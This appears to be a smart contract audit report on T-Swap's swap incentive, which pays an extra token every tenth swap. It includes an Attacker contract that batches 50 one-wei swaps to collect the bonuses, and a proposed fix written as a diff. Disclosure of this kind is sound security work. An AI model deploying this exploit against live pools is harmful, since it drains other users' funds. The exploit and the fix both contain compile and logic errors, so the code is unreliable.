Summary
This is the comment in the code.
"Every 10 swaps, we give the caller an extra token as an extra incentive to keep trading on T-Swap."
This incentive does not make senses because user can swap multiple times in one transaction (one block).
Vulnerability Details
swapExactInput and swapExactOutput call _swap function.
swapExactInput function checks if inputAmount is not zero and outputAmount is less than minOutputAmount.
swapExactOutput function checks if outputAmount is not zero.
_swap function doesn't check input amount and output amount.
function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
__SNIP__
swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}
__SNIP__
}
So malicious trader can call swapExactInput with inputToken(weth), inputAmount(1 wei), outputToken(pool token), minOutputAmount(0) multiple times.
interface TSwapPool {
function swapExactInput(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 minOutputAmount,
uint64 deadline
) external returns (uint256 output);
function swapExactOutput(
IERC20 inputToken,
IERC20 outputToken,
uint256 outputAmount,
uint64 deadline
) external returns (uint256 inputAmount);
function getPoolToken() external returns (address);
function getWeth() external returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
contract Attacker {
function attack(address pool) payable {
for (uint256 i =0; i < 50; i++) {
TSwapPool(pool).swapExactInput(IERC20(TSwapPool.getPoolToken()), 1, IERC20(TSwapPool.getWeth()), 0, block.timestamp + 300);
}
uint256 incentives = IERC20(poolToken).balanceOf(poolToken);
msg.sender.call{value: incentives}();
}
}
In above example, we run 50 swaps in one transaction, so we will get 5 units of weth tokens by only spending 50 wei of pool token and gas fee.
(50 / 10 = 5)
For swapExactOutput, attack is also possible.
Impact
Malicious user can drain pool repeating multiple of very small transaction in batch.
Tools Used
Manual review
Recommendations
It is recommended to apply a different incentive mechanism (keep the AMM pool formula).
Implement stronger logic to mitigate the current incentive mechanism.
Increase swap_max_count and set a counter for each user.
Set the minimum qualifying threshold amount based on the 'weth' amount.
-- uint256 private swap_count = 0;
-- uint256 private constant SWAP_COUNT_MAX = 10;
++ mapping(address => uint256) eligible_swap_count = 0;
++ uint256 private constant SWAP_COUNT_MAX = 100;
++ uint256 private constant ELIGIBLE_WETH_LIMIT = 1e18;
function _swap(
IERC20 inputToken,
uint256 inputAmount,
IERC20 outputToken,
uint256 outputAmount
) private {
__SNIP__
-- swap_count++;
-- if (swap_count >= SWAP_COUNT_MAX) {
-- swap_count = 0;
-- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
-- }
++ if (outputToken == getWeth()) {
++ if (outputAmount >= ELIGIBLE_WETH_LIMIT)
++ eligible_swap_count[msg.sender]++;
++ } else {
++ if (inputAmount >= ELIGIBLE_WETH_LIMIT)
++ eligible_swap_count[msg.sender]++;
++ }
++ if (eligible_swap_count[msg.sender] >= SWAP_COUNT_MAX) {
++ eligible_swap_count[msg.sender] = 0;
++ outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
++ }
__SNIP__
}